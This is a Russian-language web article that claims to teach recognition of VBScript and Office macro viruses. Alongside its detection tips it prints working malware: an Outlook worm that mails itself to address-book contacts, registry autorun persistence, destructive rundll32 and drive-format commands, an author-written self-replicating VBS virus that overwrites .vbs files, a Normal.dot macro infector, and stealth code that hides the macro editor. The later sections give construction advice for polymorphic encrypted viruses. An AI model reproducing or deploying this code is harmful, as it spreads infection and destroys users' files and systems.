[ главная ]   [ рейтинг статей ]   [ справочник радиолюбителя ]   [ новости мира ИТ ]



Ответов: 0
25-02-12 07:01







   Web - программирование
PHP


ASP






XML



CSS

SSI





   Программирование под ОС











   Web - технологии








   Базы Данных









   Графика






Данные




Программирование под ОС / Basic /

Как понять, что некоторый X код является вирусом и иже с ним

Д. Беляев

Итак, понять это дело не хитрое - существуют специальные программы - AVP, NAV;-)
Ладно, шутки в стороны, так как всего пара строчек может испортить весьма ценную информацию! 

В данной статье, быдут приведены отрывки некоторых деструктивных кодов, на чаще всего использыемых языках при написании X кодов - отрывки представленны только в ознакомительных целях, и при нанесении какого-либо ущерба, автор данной статьи ответственности не несёт! 

Потенциальный код вируса или ему подобный, может содержать любой файл, здесь я затрону так называемые исполняемые файлы с открытыми кодами - это Visual Basic Script, Visual Basic for Applications, ну и практически схожий с ним Word Basic, то есть последние два являются исполняемыми макросами Microsoft Office. X код, может скрываться в файле с расширением .vbs, но и в файле, представляющем обыкновенную веб страничку, так как скипты Visual Basic свободно вставляются и исполняются в файлах веб страниц. Но практически каждый X код, использующий VBScript, при выполнении создаёт ActiveX компоненты, в состав которых как правило входит FSO - File System Object - этот компонент практически является основой любого вируса на языке VBScript. Хоть программирование на VBScript и очень схоже с программированием на Visual Basic, но VBScript не позваляет напрямую работать с файлами, а только через FSO. Если вредоносный код открывается с помощью IE, то если в реестре по двум адресам: 

HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settingsones01

HKLMSoftwareMicrosoftWindowsCurrentVersionInternet Settingsones01

значения отличны от нуля, IE выводит предупреждающее сообщение о том, что код в данной странице пытается создать ActiveX, и предлагает не позволять создание компонента. В большенстве случаев рекомендуется на позволять выполнение ActiveX, но если вы это сделаете, то X код, может записать значение "0" в формате dword, и при следующих запусках веб страниц со скриптами, создающими ActiveX для работы с файлами, программами, предупреждение не будет выведенно, и скипт начнёт выполнение своих функций. Но файлы .vbs, в отличии от веб страничек, являются отдельными файлами и полностью весь код, включая ActiveX выполняются немедленно и без предупреждения! Выводы - если IE вам предлагает запртить создание ActiveX, и если вы не уверенны в источнике и безопасности веб странички, то запрет создания ActiveX один из лучших выходов потери информации. Как определить, что на веб страничке находится скиптовая вставка?! Чтоб выполнить скрипт-код на веб страничке, его необходимо сначала объявить скиптовым кодом, например вот так это делается для VB скриптов: 

<Script Language="VBS">

...Код скрипта...

</Script>

Либо: 

<Script Language="VBScript">

...Код скрипта...

</Script>

 

А в .vbs файлах, эти строки отсутствуют, так как .vbs файл, принят стандартным файлом, со скриптовыми кодами внутри. В VBscript размер букв, то есть заглавные или маленькие не имеет значение. 

И так, если вы заметили в веб страничке или .vbs файле, следующие строки, то в большенстве случаев эти файлы являются опасными для информации хранящейся на компьютере: 

CreateObject("WScript.Shell")
'Используется для записи в системный реестр Windows
 

CreateObject("Scripting.FileSystemObject")
'Используется для работы с файлами, папками, дисками.
 

CreateObject("Outlook.Application")
'Используется для работы с Outlook, но не путайте Outlook и Outlook Express, если вы пользуетесь Outlook Express, то скипт будет бессилен, так как создание сообщений со вложенными файлами, содержащими X коды, по средствам ActiveX для работы с Outlook, работает только с Outlook.
 

Далее самый часто использыемый код для рассылки электронных писем с использованием Outlook в любом колличестве, по адресам из адресной книги Outlook: 

on error resume next

set o=createobject("outlook.application")

for i=1 to 50

set s=o.createitem(0)

s.to=o.getnamespace("mapi").addresslists(1).addressentries(i)

s.subject="hi!"

s.body="ok!"

s.attachments.add wscript.scriptfullname

s.send

next 

Если в одном из ваших файлов вы встретили подобный код, то на 99% это является процедурой распространения вируса или чего-либо подобного по электронной почте. 

Так же вредоносные коды, очень часто записывают себя на автоматический запуск при запуске Windows, в системный реестр: 

CreateObject("WScript.Shell").RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRunимя параметра например rundlll","путь_к_скрипту" 'Возможно будет = wscript.scriptfullname 

Но в реестре может быть и не только путь к вирусу, но и такое: 

rundll32 keyboard,disable
'Поное отключение клавиатуры - только перезагрузка с "чистым" реестром или перезагрузка в безопасном режиме, вернёт функциональность клавиатуры.
 

rundll32 mouse,disable
'Тоже самое, но отключенна будет мышь

rundll32 user,disableoemlayer
'Это уже серьёзней - вся Windows будет отключена
 

rundll32 user,swapmousebutton
'Коды, подобные этому, X механизмы вставляют в реестр, чтобы испытать терпение "бедного" пользователя, так как при запуске Windows кнопки мыши будут меняться местами
 

rundll32 shell32,SHFormatDrive
'Подобная "шутка" выводит стандартное предложение форматировать диск
 

rundll32 krnl386.exe,exitkernel
'Не успеет и Windows загрузиться, как в мгновение ока, работа компьютера будет завершена в екстренном режиме.
 

Напоминаю - эти вызовы функций из стандартных библиотек Windows, для своего исполнения должны находиться только в Run ключах реестра - для выполнения из реестра, а например для их вызова непосредственно из макроса Office, вызов будет примерно такой: 

Shell "rundll32 shell32,SHFormatDrive" 

Когда MS разработали VBscript, они пожалуй и подумать не могли, что в недалёком будующем люди будут писать вредоносные коды! Как пример приведу весьма нашумевший вирус LoveLetter aka I love you, написанный на VBScript и испортивший большое колличество информации, так как в нём организован поиск файлов на всех жёстких и сетевых дисках, и в зависимости от типа файла, вирус проводил с помощью FSO различные операции с ним, такие как запись своего кода, тем самым портя файлы. Процедуры поиска файлов крайне просты и очень непроизводительны, то есть поиск файлов и проведение различных операций, занимает весьма большое количество системных ресурсов и времени, и выглядят такие кода весьма просто и безобидно:

for each d in createobject("scripting.filesystemobject").drives

if d.drivetype=2 then msgbox d.path

next

'Этот отрывок перечисляет все жёсткие диски на компьютере


for each f in createobject("scripting.filesystemobject").getfolder("c:").subfolders

msgbox f.path

next

'Этот, перечисляет все папки на диске C:, только в головном директории

 

for each f in createobject("scripting.filesystemobject").getfolder("c:win98").files

msgbox f.path

next

'А этот, все файлы в папке c:win98 

Но подобные коды, не всегда являются вредоносными, но в большенстве случаев. Если вы видите, что в файле есть подобный код, а не знаете происхождение и предназначение файла, то не рекомендуется выполнять код. Если же вы запустили .vbs файл, или разрешили выполнение скрипта в файле веб странички, и чувствуете, что компьютер начинает работать медленнее и жёсткий диск что-то затрещал, то чем можно скорее жмите Ctrl+Alt+Del, а в появившемся окне найдите строку, в Win98 которая выглядит примерно так: WScript, а затем завершайте задачу приложения и скрипт "успокоится", затем рекомендуется проверить все ключи Run в реестре, файлы win.ini, system.ini на наличие путей к файлам .vbs,.htm(html,shtml и т.д.) 

Пользователей Windows 98 предупреждаю: 

Если вы увидели в файле скрипта или веб страничке похожую строку: 

echo y|format a:

Это основная часть кода, который должен попасть в .bat файл, в основном используется файл Autoexec.bat, после запуска которого будет начато немедленное форматирование диска - только при наличии программы format.com на компьютере. Если подобный код в .bat файле запускается напрямую из Windows, и если указатель стоит на системный диск, с которого загружен компьютер, то форматирование будет отклонено, но если указан другой диск, например большенство людей "разбивают" жёсткий диск на несколько логичеких дисков, и например на диске D: хранят ценные дистрибутивы, файлы, документы, то при выполнении комманды со ссылкой на диск D: произойдёт немедленная очистка оглавления, после чего восстановление информации будет крайне тяжело, а самостоятельное практически невозможно!

Если же вы пользователь Win2k, то данный код для вас не представляет никакой угрозы, так как Win2k не позволяет вот так лихо обращаться с дисками, плюс для форматирования надо ещё ввести метку диска. 

Итак, ниже изложен код простейшего Script вируса, который может скрываться в любом(включая .exe; .vbs; .htm) файле, при загрузке которого вирус выполнит простейшее заражение себе подобного .vbs файла: 

on error resume next:set f=createobject("scripting.filesystemobject"):m=wscript.scriptfullname:for each d in f.drives:if d.drivetype=2 then:for each p in f.getfolder(d.path).subfolders:for each v in f.getfolder(p.path).files:if right(v.path,4)=".vbs" then:v.attributes=0:f.opentextfile(v.path,2).write f.opentextfile(m).readall:end if:next:next:end if:next 

Данный код, автор которого является автором этой статьи, представлен только в ознакомительных целях как пример к статье, и автор не несёт ответственности за потерю информации при использовании данного кода. Описание кода: при активизации, вирус создаёт один ActiveX компонент для работы с файлами, папками, дисками, затем читает весь свой код, после чего начинает перебор всех жёстких дисков, и папок в корне на дисках, а затем и файлы в этих папках. Если вирус находит файл с расширением .vbs, то немедленно меняет его аттрибуты(без разницы какие они были), на ноль, открывает найденный файл и заменяет весь код файла на свой. 

Что касается макро вирусов, то определить деструктивность кода гораздо сложнее, так как MS Word (самый распространённый "редактор вирусов"), позволяет скрывать код макроса и отключить необходимые для защиты фунцции, такие как разрешение автоматического выполнения макросов и остановка макроса нажатием клавиш Ctrl+Break, и немаловажный просмотр VBA кода. Но если вам всё же удалось просматреть код макроса, и если вы увидели комманду "Kill" или system.privateprofilestring, то данный макрос может быть небезопасен! При открытии документа, если выведен вопрос о разрешении выполнения макроса, рекомендуется запретить выполнение макроса, если происхождение и назначение документа вам не известно. Макровирусы представляют более серьёзную угрозу, чем например скриптовые вирусы. Но помните, любой макрос без MS Office как любое живое существо без воздуха - если на вашем компьютере не установлен пакет MS Office, то документ Word, Exel, PowerPoint не представляет для вас никакой угрозы, более того - макрос просто не будет выполнен, так как по умолчанию, документы с расширением .doc открывает WordPad - тот самый, который с Windows в комплекте. 

Как я уже сказал, макрос может нанести вред в несколько раз сильнее, чем .vbs код. Например некоторые макровирусы, при запуске проверяют файл normal.dot, который в разных версиях MS Office имеет разное имя, но при выполнении скрипта, получение его имени идёт "автоматически": 

Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule

Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule

If NT.lines(1, 1) = "" Then

NT.Insertlines 1, AD.lines(1, AD.countoflines)

End If 

Данный макрос, проверяет на наличие любой строки в NormalTemplate.VBProject.VBComponents(1).CodeModule, то есть в документе макросов Word, и если в строке ничего нет, то копирует весь код активного документа, то есть свой. Недостаток очевиден - если вы используете свои вставки, и первая строка стандартного документа не пуста, то код не будет скопирован. Но если же нет, то весь код документа - в нём могут находиться и деструктивные процедуры, будет немедленно скопирован в модуль макросов стандартного документа. 

Но существует так называемый Полиморфизм - зашифровка. То есть код документа, скрипта, файла, может содержать давно известные вирусы, или новые, но они зашифрованны. Нетронут только механизм расшифровки, который из непонятного набора символов, соберёт вполне рабочий код, который может оказаться вирусом или другим вредоносным или саморазмножающимся механизмом. 

Так же немного затрону так называемые Стелс технологии - я упомянал, что в MS Office есть возможность отключения просмотра макросов, предупреждений о выполнении макроса и т. д. Отключение выше перечисленных опций, выглядят примерно так: 

Sub ViewVBCode(): Stealth: End Sub
'Отключить просмотр кода

Sub ToolsMacro(): Stealth: End Sub
'Отключить просмотр макросов

Sub FileTemplates(): Stealth: End Sub
'Отключить просмотр подключенных модулей
 

Private Sub Stealth(): On Error Resume Next

Application.ShowVisualBasicEditor = 0: Application.EnableCancelKey = 0

End Sub

'Отключить показ РедактораVB, отключить клавишу Break 

Если вам удалось увидеть подобные строки, то в стандартных документах они абсолютно не к чему - удалите их! 

Вернёмся к полиморфизму - более подробно рассмотрим алгоритм (откорректированный мной материал из MacroFaq - Faq по макро вирусам, автора CyberShadow // SMS) 

For i=1 To n

'hjkljhlkjhl324jhlkqj3h5jkqhb

MsgBox i

'jhjehodhfgjnkbkjwekjt25jkbkjbKJBKJB

Next

В зависимости от алгоритма и фантазии автора вируса эти строки могут содержать в себе различные символы, но основная идея остается той же - вставлять между строками строки переменной длины с различными символами. Недостатки ясны - стоит отсеять все ремарки, и voila! Вот ваш вирус. Кроме того, большинство полиморфов модифицируют весь свой код, не производя никаких проверок, что очень быстро делает вирус просто огромным по размеру, и либо преращает его дальнейшее распространение, либо ясно показывает, что файл поражен вирусом :(. Хотя сбылась мечта всех вирмакеров, модифицировать весь код вируса, но толку принесло совсем мало :(. Зачем изобретать велосипед? Есть множество хороших алгоритмов для создания защищенных вирусов. Причем эти алгоритмы давно используются для создания вирусов под DOS и Windows. Это старые добрые шифрующие алгоритмы различной сложности. Существует множество статей о создании шифрованного вируса под Word, но тем не менее, я коснусь этой темы (кратко). Зашифрованное тело можно хранить, как минимум двумя способами: 

1. Создавая переменную в которой храниться зашифрованное тело вируса: 

CryptedVirusBody="hl23kj6liuhrkljhluhilUHLIhliu"

CryptedVirusBody=CryptedVirusBody+"sdg3wW#HSDsehEh" 

2. Храня зашифрованное тело вируса прямо в исходном коде: 

Private Sub CryptedVirusBody()

'jl;kj2lkj;Ij)JHhh5kjhKJhKJ5huoho

'LKjlkigsohjwhj4klhLhLKhlwktioh

'JklwjijgnLnlniowngoi

End Sub 

Разумеется, при разных способах хранения, существуют разные способы расшифровки, для первого способа вы пишите декриптор работающий напрямую с переменной, в которой храниться зашифрованное тело вируса. Для второго же способа понадобиться алгоритм работающий напрямую с исходным кодом, то есть что-то вроде: 

c=lines(j,1)

if mid$(c,1,1)="'" then

... расшифровка ...

ReplaceLine j, EncryptedVariable

End If 

Где j - номер строки кода. 

У обоих способов есть свои преимущества и недостатки, у первого способа это необходимость выработки алгоритма который вставляет куда-то расшифрованную строку, у второго - некоторая громоздкость кода для работы с поиском строк. Выбирайте любой. Существуют еще способы хранения зашифрованных строк, но эти самые простые. Вот, вкратце и все о шифровании тела вируса. 

Теперь, о самом интересном: о полиморфах. Рассмотрим следующий пример: 

For i=1 to n 'часть расшифровщика;

For j=1 to 12425 '-+

eyeu=12 ' |

do while eyeu<234 ' | мусор;

eyeu=eyeu+43 ' |

loop ' |

next '-+

lkj=ljk+1 'часть расшифровщика;

jkhlk=142 '-+

if sdfg<kleh then ' |

gsdfgyeu=122 ' |

do while gsdfgyeu<253 ' |

gsdfgyeu=gsdfgyeu+23' | мусор;

jhlkjh=lkwjf+nkvsv ' |

loop ' |

end if '-+

next 'часть расшифровщика; 

Как видим, во вполне осмысленной программе, которая что-то делает, существует часть команд, которые отвечают за расшифровку тела вируса... Единственный из такого рода полиморфов (из тех которые я видел) делал подобное, но только добавляя "левые" переменные, причем без всяких операций с ними, то есть тот же "мусор" которые легко отсеивается. Каким же образом достигается создание такого рода полиморфных блоков? Достаточно просто: 

private sub polym(fc,m)

'где fc - переменная в которую будет дописывать полиморфный блок;

'm - переменная определяющая степень рекурсии (чем больше степень

' тем сложнее полиморфная программа, тем больше места она

' занимает.

select case int(rnd*6)

case 1

fc=fc+"for i=1 to 1234"

m=m+1

if m<MaxRecurs then call polym(fc,m)

fc=fc+next

case 2

case 3

и т.д.

case else

end select

end sub 

Этим способом можно добавлять ЛЮБЫЕ блоки программы, я использовал следующие: 

1. FOR-NEXT

2. DO WHILE-LOOP

3. DO UNTIL-LOOP

4. DO-LOOP WHILE

5. DO-LOOP UNTIL

6. IF-END IF

7. Change variables 

Разумеется, конфигурация блоков зависит от вашей фантазии, но могу сделать подсказку: для всех циклов можно использовать случайные начальные и конечные значения, а также случайный шаг. Для блоков с условиями еще больше: 

операции с разными переменными, комбинации "<", ">", "=" и сравнение с RND.

Для работы с работы с переменными следующие варианты: 

var1=random

var1=var1+var2

var1=var2+var3

var1=var2 

и т.д. 

Вот и все о рекурсивных полиморфных алгоритмах. Но! После того, как вы написали программу генерирующую полиморфный расшифровщик, сразу же всплывает масса проблем о которых вы раньше не подозревали: длина одной сроки не может быть больше 1024 символов, размер одной процедуры не может быть больше 64 килобайт. И та и другая проблема сказывается на возможностях полиморфа. Итак, вы должны внести корректировку по длине строки, на полиморфных блоках это не сказывается, а вот если вы храните зашифрованное тело вируса в строковых переменных, тогда придется делить переменную на части. Размер полиморфа можно коррекитровать уменьшая степень рекурсии. Есть другой вариант, перемешать строки расшифровщика и добавить в него вызов процедур, тогда размер вируса равномерно распределиться между процедурами и ни одна из них не будет больше 64К. Как перемешать, спросите вы? Тогда ведь структура расшифровщика нарушиться и он будет представлять собой просто набор нерабочих комманд. Приведу пример: 

private sub try()

goto loop1

loop2:

msgbox "метка номер двас :)"

goto loop3

loop1:

msgbox "метка номер раз"

goto loop2

loop3:

end sub 

Что сделает такая программа когда вы ее запустите? Правильно, сначала напечатат про метку номер раз, а потом про метку номер двас. Но ведь метка номер два у нас идет первой? Как же так? Поняли? Та же самая идея в полиморфе, имеется куча премешанных команд, которые после выполнения уходят в случайное место кода, где уже подготовлена следующая команда для выполнения. Кроме того, чтобы не перегружать размер подпрограммы, мы с чистой совестью можем сделать вызов процедуры вместо GOTO, разумеется процедуру нужно вызывать со всеми переменными используемыми в расшифровщике, либо объявлять их глобальными, но это уже мелочи.




Комментарии

 Ваш комментарий к данному материалу будет интересен нам и нашим читателям!



Последние статьи: Программирование под ОС / Basic /

Основы работы с базами данных
11-02-2009   

Умение обращаться с файлами данных - чуть ли не одна из самых важных ступений в обучении программированию на Visual Basic! Здесь я постараюсь выложить только самые основные приёмы работы с объектом Data... подробнее

Кол. просмотров: общее - 4608 сегодня - 1

Эффективная работа с БД в VB 6.0
11-02-2009   

В статье рассматриваются способы повышения эффективности при разработке клиент-серверных СУБД-приложений в среде VisualBasic 6.0. Наиболее подробно освещены следующие аспекты проблемы... подробнее

Кол. просмотров: общее - 5253 сегодня - 0

Создание программы на Visual basic для вывода случайного числа в заданном интервале чисел
11-02-2009   

В данной статье будет показан способ написания программы для вывода случайного числа в заданном нами интервале чисел, также пошагово будет показано создание соответствующего интерфейса программы на VB6... подробнее

Кол. просмотров: общее - 4976 сегодня - 0

Техника программирования сложных окон в Visual Basic
11-02-2009   

Mногие из Вас наверняка видели в Windows программах окна нестандартной формы (круглые, треугольные и т.д.) и задавали себе вопрос: как мне сделать такое окно?... подробнее

Кол. просмотров: общее - 4827 сегодня - 1

Вызов функций по указателю
11-02-2009   

Вы читали мою первую статью на эту тему? Надеюсь, что нет. Она мне страшно не нравилась уже сразу после опубликования. К тому же, я получил немало откликов на тему мало информации, которые, конечно, считаю справедливыми... подробнее

Кол. просмотров: общее - 4633 сегодня - 0

Популярные статьи



  WWW.COMPROG.RU - 2009-2012 | Designed and Powered by Zaipov Renat | Projects